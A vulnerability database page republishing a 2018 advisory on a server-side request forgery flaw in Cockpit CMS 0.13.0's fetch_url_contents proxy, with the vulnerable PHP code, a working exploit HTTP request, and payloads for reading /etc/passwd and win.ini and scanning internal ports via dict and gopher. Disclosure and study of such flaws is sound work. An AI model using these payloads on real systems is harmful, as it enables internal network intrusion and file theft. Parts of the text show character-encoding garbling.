Lucene search
K

Cockpit CMS 0.13.0 Server Side Request Forgery Vulnerability

🗓️ 08 Apr 2018 00:00:00Reported by Jiawang ZhangType 
zdt
 zdt
🔗 0day.today👁 64 Views

Cockpit CMS 0.13.0 Server Side Request Forgery Vulnerability in `fetch_url_contents` Projec

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Cockpit CMS 0.4.4-0.5.5 - Server-Side Request Forgery Vulnerability
2 May 201800:00
zdt
CNVD
Cockpit Server-Side Request Forgery Vulnerability
26 Apr 201800:00
cnvd
CVE
CVE-2017-14611
10 Apr 201815:00
cve
Cvelist
CVE-2017-14611
10 Apr 201815:00
cvelist
Exploit DB
Cockpit CMS 0.4.4 < 0.5.5 - Server-Side Request Forgery
2 May 201800:00
exploitdb
EUVD
EUVD-2017-6112
7 Oct 202500:30
euvd
exploitpack
Cockpit CMS 0.4.4 0.5.5 - Server-Side Request Forgery
2 May 201800:00
exploitpack
NVD
CVE-2017-14611
10 Apr 201815:29
nvd
OSV
CVE-2018-9302
2 May 201815:29
osv
Packet Storm
Cockpit CMS 0.13.0 Server Side Request Forgery
6 Apr 201800:00
packetstorm
Rows per page
# SSRFPS"Server Side Request ForgeryPS(c) in Cockpit CMS 0.13.0 (CVE-2017-14611)

The Cockpit CMS is awesome if you need a flexible content structure but don't want to be limited in how to use the content.

## Product Download: https://getcockpit.com/

## Vulnerability TypePSoSSRFPS"Server Side Request ForgeryPS(c)

## Attack Type : Remote

## Vulnerability Description

Cockpit CMS uses a `fetch_url_contents` PS"https://github.com/aheinze/fetch_url_contentsPS(c)project code on github website, This Project has SSRF VulnerabilityPS!So affect the system.

The vulnerability codePS"/assets/lib/fuc.js.phpPS(c):

    if (isset($_REQUEST['url'])) {

        // allow only query from same host
        echo(parse_url($_SERVER['HTTP_REFERER'],PHP_URL_HOST));
    
        if ($_SERVER['HTTP_HOST'] != parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST)) {
            header('HTTP/1.0 401 Unauthorized');
            return;
        }
    
        $url     = $_REQUEST['url'];
        $content = '';
    
        if (function_exists('curl_exec')){
            $conn = curl_init($url);
            curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, true);
            curl_setopt($conn, CURLOPT_FRESH_CONNECT,  true);
            curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($conn,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17');
            curl_setopt($conn, CURLOPT_AUTOREFERER, true);
            curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($conn, CURLOPT_VERBOSE, 0);
            $content = curl_exec($conn);
            curl_close($conn);
        }
        if (!$content && function_exists('file_get_contents')){
            $content = @file_get_contents($url);
        }
        if (!$content && function_exists('fopen') && function_exists('stream_get_contents')){
            $handle  = @fopen ($url, "r");
            $content = @stream_get_contents($handle);
        }
    
        if (!$content) {
            header('HTTP/1.0 503 Service Unavailable');
        }
    
        return print($content);
    }


## Exploit

    GET /assets/lib/fuc.js.php?url=dict://127.0.0.1:3306 HTTP/1.1
    Host: 127.0.0.1
    Connection: close
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8
    referer:http://127.0.0.1/index.php

modify the above url parameterPS!examplePS!file:

request http(s) protocol: url=http(s)://www.google.com

file readPSourl=file:///etc/passwd or url=file:///c:/windows/win.ini

If the curl function is available,then use gopher!C/tftp!C/http!C/https!C/dict!C/ldap!C/file!C/imap!C/pop3!C/smtp!C/telnet protocols methodPS!if not then only use http!C/https!C/ftp protocol

scan prot,example: url=dict://127.0.0.1:3306 
use gopher protocol: url=gopher://127.0.0.1:3306 

If the curl function is unavailable,this vulnerability trigger need allow\_url\_fopen option is enable in php.iniPS!allow\_url\_fopen option defualt is enable.

## Versions

Cockpit 0.13.0

## Impact

SSRF(Server Side Request Forgery) in Cockpit 0.13.0 version allow remote attackers to arbitrary files readPS!scan network portPS!information detection,internal network server attack.

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang &  National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14611

#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation